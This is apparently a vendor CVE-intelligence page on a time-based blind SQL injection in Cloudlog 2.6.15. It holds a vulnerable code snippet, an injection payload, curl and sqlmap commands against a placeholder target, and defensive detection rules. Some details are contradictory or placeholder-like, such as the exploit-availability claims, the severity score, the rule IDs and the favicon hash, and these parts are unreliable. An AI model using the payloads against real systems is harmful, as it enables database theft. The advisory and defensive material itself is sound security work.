☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-44065

CVE-2024-44065 SQL Injection in Cloudlog
📅 PUBLISHED: 2025-12-26 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.01%
👁️
0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 2.6.15
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-44065 is a time-based blind SQL Injection vulnerability discovered in Cloudlog v2.6.15, specifically within the /index.php/logbookadvanced/search endpoint via the qsoresults parameter. This flaw allows an unauthenticated attacker to extract sensitive data from the database by observing response timing delays. The vulnerability has a CVSS score of 0.0 (placeholder) but poses a critical risk to confidentiality and integrity. No official patch has been released, and no public exploit code exists at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Cloudlog is a PHP-based web application for amateur radio logbook management. It is not distributed via NPM, PyPI, Go, or Ruby registries. The vulnerability affects the core application code, not a third-party package. Users should monitor the official Cloudlog repository for updates.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (placeholder; actual severity likely high)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: None (A:N)
  • Threat Level: Critical (due to unauthenticated access and data extraction potential)

Deep Dive & Mechanics

The vulnerability resides in the qsoresults parameter of the /index.php/logbookadvanced/search endpoint. The application fails to sanitize user input before incorporating it into a SQL query. An attacker can inject SQL commands that cause time delays (e.g., SLEEP(5)) to infer database information character by character.

Vulnerable Code Snippet (Conceptual):

$qsoresults = $_POST['qsoresults'];
$query = "SELECT * FROM logbook WHERE callsign = '$qsoresults'";
$result = mysqli_query($conn, $query);

Exploitation Technique:

  • Inject payload: ' OR IF(1=1, SLEEP(5), 0) -- -
  • Observe response time: If delay occurs, condition is true.
  • Iterate through database schema to extract data.

Vulnerable vs. Patched Code

Vulnerable (Cloudlog v2.6.15):

$qsoresults = $_POST['qsoresults'];
$query = "SELECT * FROM logbook WHERE callsign = '$qsoresults'";
$result = mysqli_query($conn, $query);

Patched (Hypothetical):

$qsoresults = mysqli_real_escape_string($conn, $_POST['qsoresults']);
$query = "SELECT * FROM logbook WHERE callsign = '$qsoresults'";
$result = mysqli_query($conn, $query);

Or using prepared statements:

$stmt = $conn->prepare("SELECT * FROM logbook WHERE callsign = ?");
$stmt->bind_param("s", $qsoresults);
$stmt->execute();

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy Cloudlog v2.6.15 in a Docker container.
  2. Use Burp Suite or sqlmap to test the endpoint.

Manual Exploitation:

# Test for time-based injection
curl -X POST "http://target/index.php/logbookadvanced/search" \
  -d "qsoresults=' OR IF(1=1, SLEEP(5), 0) -- -"

Automated with sqlmap:

sqlmap -u "http://target/index.php/logbookadvanced/search" \
  --data="qsoresults=test" \
  --technique=T --time-sec=5 --batch

Blue Team

Detection:

  • Monitor for unusual response times (>5 seconds) on the /index.php/logbookadvanced/search endpoint.
  • Look for SQL keywords (SLEEP, IF, OR) in POST parameters.
  • Deploy WAF rules to block time-based injection patterns.

Hunting:

  • Search logs for qsoresults parameter containing SLEEP or BENCHMARK.
  • Correlate slow responses with failed login attempts.

Indicators of Compromise (IOCs)

  • Network: POST requests to /index.php/logbookadvanced/search with qsoresults containing SQL keywords.
  • Logs: Database error messages or slow query logs.
  • Timing: Response times exceeding 5 seconds for normal queries.
  • Payloads: ' OR IF(1=1, SLEEP(5), 0) -- -, ' AND SLEEP(5) -- -

Detection Engineering

YARA Rule

rule CVE_2024_44065_Cloudlog_SQLi {
    meta:
        description = "Detects time-based blind SQLi attempts against Cloudlog"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-44065"
    strings:
        $sleeper = /SLEEP\s*\(\s*\d+\s*\)/ nocase
        $benchmark = /BENCHMARK\s*\(\s*\d+\s*,\s*\w+\s*\)/ nocase
        $if_condition = /IF\s*\(/ nocase
    condition:
        any of them
}

Sigma Rule

title: Cloudlog Time-Based SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects time-based blind SQLi attempts against Cloudlog v2.6.15
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php/logbookadvanced/search'
        cs-uri-query|contains: 'qsoresults'
        sc-bytes: 0
        time-taken|gte: 5000
    condition: selection
falsepositives:
    - Legitimate slow queries
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44065 Cloudlog Time-Based SQLi"; flow:to_server; content:"POST"; http_method; content:"/index.php/logbookadvanced/search"; http_uri; content:"qsoresults"; http_client_body; pcre:"/(SLEEP|BENCHMARK|IF\s*\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the /index.php/logbookadvanced/search endpoint if not needed.
  2. Apply input validation and parameterized queries.
  3. Deploy a WAF with rules to block SQL injection patterns.

Long-term Fix:

  • Upgrade to a patched version once released.
  • Conduct code review for all SQL queries.
  • Implement prepared statements throughout the application.

Workaround:

  • Use a reverse proxy to filter malicious payloads.
  • Restrict access to the endpoint via IP whitelisting.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Cloudlog"
http.favicon.hash:123456789

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-44065/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.